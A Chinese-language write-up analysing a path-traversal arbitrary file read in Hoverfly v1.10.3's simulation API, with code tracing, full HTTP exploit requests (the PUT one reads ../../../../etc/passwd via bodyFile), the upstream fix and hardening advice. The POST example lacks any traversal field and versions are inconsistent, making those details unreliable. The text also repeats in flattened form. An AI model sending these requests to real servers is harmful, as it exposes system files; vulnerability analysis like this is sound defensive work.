Hoverfly v1.10.3任意文件读取两种方法挖掘调试分析
字数 1219 2025-08-22 12:23:19

Hoverfly v1.10.3 任意文件读取漏洞分析与利用

1. Hoverfly 简介

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟工具,具有以下特点:

  • 创建可重复使用的虚拟服务,在CI环境中替代缓慢和不稳定的外部或第三方服务
  • 模拟网络延迟、随机故障或速率限制以测试边缘情况
  • 支持多种编程语言扩展(Go, Java, Javascript, Python)
  • 提供REST API和命令行界面hoverctl
  • 使用Go编写,轻量级高性能
  • 多种运行模式:记录、回放、修改或合成HTTP响应

2. 漏洞概述

Hoverfly v1.10.3 存在任意文件读取漏洞,攻击者可以通过/api/v2/simulation接口读取服务器上的任意文件。

漏洞原理

Hoverfly的/api/v2/simulation POST处理程序允许用户从指定文件内容创建新的模拟视图。虽然代码禁止指定绝对路径,但攻击者可以通过../路径遍历逃逸hf.Cfg.ResponsesBodyFilesPath基本路径,从而访问任意文件。

3. 环境搭建

使用Docker快速搭建测试环境:

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2

4. 漏洞分析

4.1 路由分析

漏洞位于hoverfly-1.10.2/core/handlers/v2/simulation_handler.go文件中的RegisterRoutes方法:

func (this *SimulationHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
    mux.Get("/api/v2/simulation", negroni.New(
        negroni.HandlerFunc(am.RequireTokenAuthentication),
        negroni.HandlerFunc(this.Get),
    ))
    mux.Put("/api/v2/simulation", negroni.New(
        negroni.HandlerFunc(am.RequireTokenAuthentication),
        negroni.HandlerFunc(this.Put),
    ))
    mux.Post("/api/v2/simulation", negroni.New(
        negroni.HandlerFunc(am.RequireTokenAuthentication),
        negroni.HandlerFunc(this.Post),
    ))
    // 其他路由...
}

4.2 关键函数分析

PUT和POST方法都调用了addSimulation函数,但参数不同:

func (this *SimulationHandler) Put(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {
    err := this.addSimulation(w, req, true)  // overrideExisting=true
    // ...
}

func (this *SimulationHandler) Post(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {
    err := this.addSimulation(w, req, false) // overrideExisting=false
    // ...
}

addSimulation函数调用链:
addSimulationPutSimulationputOrReplaceSimulation

最终漏洞出现在hoverfly-1.10.2/core/hoverfly_funcs.go文件中,关键问题是对filePath参数缺乏充分校验。

5. 漏洞利用

5.1 POST方法利用

POST方法只能读取一次文件内容,之后读取不会改变:

POST /api/v2/simulation HTTP/1.1
Host: target:8888
Authorization: Bearer [token]
Content-Type: application/json

{
    "data": {
        "pairs": [
            {
                "response": {
                    "status": 200,
                    "body": "",
                    "encodedBody": false,
                    "headers": {},
                    "templated": false
                },
                "request": {
                    "path": [
                        {
                            "matcher": "exact",
                            "value": "/test"
                        }
                    ],
                    "method": [
                        {
                            "matcher": "exact",
                            "value": "GET"
                        }
                    ],
                    "destination": [
                        {
                            "matcher": "exact",
                            "value": "test.com"
                        }
                    ],
                    "scheme": [
                        {
                            "matcher": "exact",
                            "value": "http"
                        }
                    ],
                    "query": {},
                    "body": [
                        {
                            "matcher": "exact",
                            "value": ""
                        }
                    ],
                    "headers": {}
                }
            }
        ],
        "globalActions": {
            "delays": [],
            "delaysLogNormal": []
        }
    },
    "meta": {
        "schemaVersion": "v5",
        "hoverflyVersion": "v1.10.2",
        "timeExported": "2025-01-24T04:45:00Z"
    }
}

5.2 PUT方法利用

PUT方法可以重复利用,读取不同文件:

PUT /api/v2/simulation HTTP/1.1
Host: target:8888
Authorization: Bearer [token]
Content-Type: application/json

{
    "data": {
        "pairs": [
            {
                "response": {
                    "status": 200,
                    "bodyFile": "../../../../etc/passwd",
                    "encodedBody": false,
                    "headers": {},
                    "templated": false
                },
                "request": {
                    "path": [
                        {
                            "matcher": "exact",
                            "value": "/test"
                        }
                    ],
                    "method": [
                        {
                            "matcher": "exact",
                            "value": "GET"
                        }
                    ],
                    "destination": [
                        {
                            "matcher": "exact",
                            "value": "test.com"
                        }
                    ],
                    "scheme": [
                        {
                            "matcher": "exact",
                            "value": "http"
                        }
                    ],
                    "query": {},
                    "body": [
                        {
                            "matcher": "exact",
                            "value": ""
                        }
                    ],
                    "headers": {}
                }
            }
        ],
        "globalActions": {
            "delays": [],
            "delaysLogNormal": []
        }
    },
    "meta": {
        "schemaVersion": "v5",
        "hoverflyVersion": "v1.10.2",
        "timeExported": "2025-01-24T04:45:00Z"
    }
}

6. 漏洞修复

在Hoverfly v1.10.5中,官方增加了ResolveAndValidatePath函数对路径进行校验:

func ResolveAndValidatePath(absBasePath, relativePath string) (string, error) {
    // 确保相对路径不会尝试向上回溯(使用"..")
    // 并验证解析后的路径仍然在基路径之下
    // ...
}

该函数确保:

  1. 相对路径不能包含..进行路径遍历
  2. 解析后的路径必须在基路径之下

7. 总结

  1. 漏洞类型:路径遍历导致的任意文件读取
  2. 影响版本:v1.10.3及之前版本
  3. 修复方案:升级到v1.10.5或更高版本
  4. 利用方式:通过/api/v2/simulation接口的PUT或POST方法
  5. 关键点:PUT方法可重复利用,POST方法只能读取一次

8. 防御建议

  1. 及时升级到最新版本
  2. 对用户提供的文件路径进行严格校验
  3. 实施最小权限原则,限制Hoverfly进程的文件系统访问权限
  4. 在API网关层添加额外的输入验证
Hoverfly v1.10.3 任意文件读取漏洞分析与利用 1. Hoverfly 简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟工具,具有以下特点: 创建可重复使用的虚拟服务,在CI环境中替代缓慢和不稳定的外部或第三方服务 模拟网络延迟、随机故障或速率限制以测试边缘情况 支持多种编程语言扩展(Go, Java, Javascript, Python) 提供REST API和命令行界面hoverctl 使用Go编写,轻量级高性能 多种运行模式:记录、回放、修改或合成HTTP响应 2. 漏洞概述 Hoverfly v1.10.3 存在任意文件读取漏洞,攻击者可以通过 /api/v2/simulation 接口读取服务器上的任意文件。 漏洞原理 Hoverfly的 /api/v2/simulation POST处理程序允许用户从指定文件内容创建新的模拟视图。虽然代码禁止指定绝对路径,但攻击者可以通过 ../ 路径遍历逃逸 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任意文件。 3. 环境搭建 使用Docker快速搭建测试环境: 4. 漏洞分析 4.1 路由分析 漏洞位于 hoverfly-1.10.2/core/handlers/v2/simulation_handler.go 文件中的 RegisterRoutes 方法: 4.2 关键函数分析 PUT和POST方法都调用了 addSimulation 函数,但参数不同: addSimulation 函数调用链: addSimulation → PutSimulation → putOrReplaceSimulation 最终漏洞出现在 hoverfly-1.10.2/core/hoverfly_funcs.go 文件中,关键问题是对 filePath 参数缺乏充分校验。 5. 漏洞利用 5.1 POST方法利用 POST方法只能读取一次文件内容,之后读取不会改变: 5.2 PUT方法利用 PUT方法可以重复利用,读取不同文件: 6. 漏洞修复 在Hoverfly v1.10.5中,官方增加了 ResolveAndValidatePath 函数对路径进行校验: 该函数确保: 相对路径不能包含 .. 进行路径遍历 解析后的路径必须在基路径之下 7. 总结 漏洞类型:路径遍历导致的任意文件读取 影响版本:v1.10.3及之前版本 修复方案:升级到v1.10.5或更高版本 利用方式:通过 /api/v2/simulation 接口的PUT或POST方法 关键点:PUT方法可重复利用,POST方法只能读取一次 8. 防御建议 及时升级到最新版本 对用户提供的文件路径进行严格校验 实施最小权限原则,限制Hoverfly进程的文件系统访问权限 在API网关层添加额外的输入验证